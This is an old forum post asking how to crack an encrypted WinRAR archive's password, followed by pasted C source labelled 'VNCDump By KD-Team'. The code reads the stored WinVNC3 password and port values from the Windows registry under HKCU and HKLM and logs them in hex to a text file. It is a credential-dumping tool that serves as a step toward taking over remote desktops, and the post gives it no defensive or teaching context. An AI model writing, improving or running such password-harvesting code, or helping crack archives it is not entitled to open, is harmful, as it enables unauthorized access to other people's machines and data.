|
koran42
|
 |
« on: September 15, 2007, 07:48:16 PM » |
|
how can i crack this? i think there is a password there, but i don't know yet how to crack it, in auggestions please?
it's encrypted winrar file.
#include <stdio.h> #include <stdlib.h> #include <windows.h>
void main(int argc,char *argv[]) { HKEY key; HKEY key2; unsigned char buffer[8]; unsigned char buffer2[8]; unsigned char port[16]; unsigned char port2[32]; unsigned long PSize2 = sizeof(port2); unsigned long PSize = sizeof(port); unsigned long size = sizeof(buffer); unsigned long size2 = sizeof(buffer2); printf("\tVNCDump By KD-Team\n"); FILE *VFile; VFile = fopen("vnclog.txt","a+"); if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\ORL\\WinVNC3",0,KEY_ALL_ACCESS,&key)) { printf("Opening Key \"HKCU\" succeded\n"); printf("Handle: %i\n",key); } else { printf("Opening Key Failed\n"); RegCloseKey(key); }
if(ERROR_SUCCESS == RegQueryValueEx(key,"Password",NULL,0,buffer,&size))//(LPBYTE) { printf("Quering Key succeded\n"); printf("HKCU Password\n"); fprintf(VFile,"%s","HKCU\n"); fprintf(VFile,"%s","Password: "); for(int length = 0; length < sizeof(buffer); length++) { printf("%x", buffer[length]); fprintf(VFile,"%x",buffer[length]); } fprintf(VFile,"%s","\n"); memset(&buffer,0,sizeof(buffer)); printf("\n");
if(ERROR_SUCCESS == RegQueryValueEx(key,"PortNumber",NULL,0,port,&PSize))//(LPBYTE) { printf("Quering Key succeded\n"); printf("HKCU PortNumber\n"); fprintf(VFile,"%s","HKCU\n"); fprintf(VFile,"%s","PortNumber: "); for(int length = strlen(port); length >= 0 ; length--) { printf("%x", port[length]); fprintf(VFile,"%x",port[length]); } fprintf(VFile,"%s","\n"); fclose(VFile); RegCloseKey(key); } else { printf("Quering Key Failed\n"); RegCloseKey(key); } } else { printf("Quering Key Failed\n"); RegCloseKey(key); } //********************************************************************************************************** VFile = fopen("vnclog.txt","a+"); if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\ORL\\WinVNC3\\Default",0,KEY_ALL_ACCESS,&key2)) { printf("\nOpening Key \"HKLM\" succeded\n"); printf("Handle: %i\n",key2); } else { printf("Opening Key Failed\n"); RegCloseKey(key2); }
if(ERROR_SUCCESS == RegQueryValueEx(key2,"Password",NULL,0,buffer2,&size2))//(LPBYTE) { printf("Quering Key succeded\n"); printf("HKLM Password\n"); fprintf(VFile,"%s","HKLM\n"); fprintf(VFile,"%s","Password: "); for(int length2 = 0; length2 < sizeof(buffer2); length2++) { printf("%x", buffer2[length2]); fprintf(VFile,"%x",buffer2[length2]); } fprintf(VFile,"%s","\n"); memset(&buffer2,0,sizeof(buffer2)); printf("\n"); if(ERROR_SUCCESS == RegQueryValueEx(key2,"PortNumber",NULL,0,port2,&PSize2))//(LPBYTE) { printf("Quering Key succeded\n"); printf("HKLM PortNumber\n"); fprintf(VFile,"%s","HKLM\n"); fprintf(VFile,"%s","PortNumber: "); for(int length2 = strlen(port2); length2 >= 0 ; length2--) { printf("%x", port2[length2]); fprintf(VFile,"%x",port2[length2]); } fprintf(VFile,"%s","\n"); fclose(VFile); RegCloseKey(key2); } else { printf("Quering Key Failed\n"); RegCloseKey(key2); } } else { printf("Quering Key Failed\n"); RegCloseKey(key2); } }
|